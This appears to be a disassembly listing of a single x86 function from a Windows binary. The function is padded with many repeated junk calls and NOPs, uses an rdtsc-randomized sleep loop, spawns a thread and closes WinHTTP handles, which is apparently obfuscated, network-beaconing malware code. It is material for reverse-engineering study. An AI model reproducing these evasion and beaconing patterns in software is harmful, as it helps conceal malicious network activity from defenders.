Function at 0x10001000
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push edi
nop
nop
nop
nop
nop
nop
call fcn.10002590
call fcn.10002590
call fcn.10002590
push 0x100000
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
jne 0x1000103e
push 1
pop eax
jmp 0x100013d5
push ebx
push esi
call fcn.10002590
call fcn.10002590
call fcn.10002590
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
call esi
and dword [ebp - 4], 0
or ebx, 0xffffffff
and dword [ebp - 0x10], 0
mov dword [0x100061b0], edi
jmp 0x1000106f
mov ebx, dword [ebp - 0xc]
call fcn.10002590
call fcn.10002590
call fcn.10002590
call esi
call esi
nop
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
rdtsc
and eax, 0xffff
add eax, 0x18ed
mov dword [ebp - 4], eax
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call esi
call esi
push 0x100000
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call esi
call fcn.10002590
call fcn.10002590
mov eax, dword [0x100061b4]
test eax, eax
je 0x10001107
mov dword [edi + 0x2c], eax
call esi
call esi
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
push 0x8d4
push dword [ebp + 8]
push edi
call fcn.10001b88
add esp, 0xc
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
lea eax, [ebx + 1]
push 8
cdq
pop ecx
idiv ecx
mov eax, edx
mov dword [ebp - 0xc], eax
cdq
sub eax, edx
mov ebx, eax
lea eax, [edi + 0x800]
sar ebx, 1
shl ebx, 8
add ebx, eax
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
mov eax, dword [ebx]
mov dword [ebp - 0x14], eax
call esi
mov eax, dword [ebp - 0xc]
push 2
cdq
pop ecx
idiv ecx
test edx, edx
jne 0x100011cd
mov eax, dword [ebx + 4]
jmp 0x100011d0
mov eax, dword [ebx + 8]
test eax, eax
mov dword [ebp - 8], eax
je 0x1000106c
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
mov eax, dword [edi + 0x109c]
imul eax, eax, 0x3e8
add dword [ebp - 4], eax
call esi
cmp dword [ebp - 0x10], 0
je 0x1000121b
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10001222
mov dword [ebp - 0x10], 1
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call esi
call fcn.10002590
call fcn.10002590
add ebx, 0x10
call esi
mov eax, dword [ebp - 0x14]
push ebx
mov dword [edi + 0x400], eax
mov eax, dword [ebp - 8]
mov dword [edi + 0x404], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
lea eax, [edi + 0x408]
push ebx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call esi
push edi
call fcn.10002460
pop ecx
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
xor eax, eax
push eax
push eax
push edi
push 0x100013d8
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, eax
push 0xffffffffffffffff
push ebx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
call esi
call esi
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
push dword [edi + 0x20]
mov ebx, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
call ebx
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
call fcn.10002590
push dword [edi + 0x24]
call ebx
mov eax, dword [edi + 0x14]
cmp eax, 1
je 0x1000106c
cmp eax, 2
jne 0x1000106c
call esi
call esi
call esi
call esi
call esi
call esi
call esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
nop
nop
nop
nop
nop
pop esi
xor eax, eax
pop ebx
pop edi
leave
ret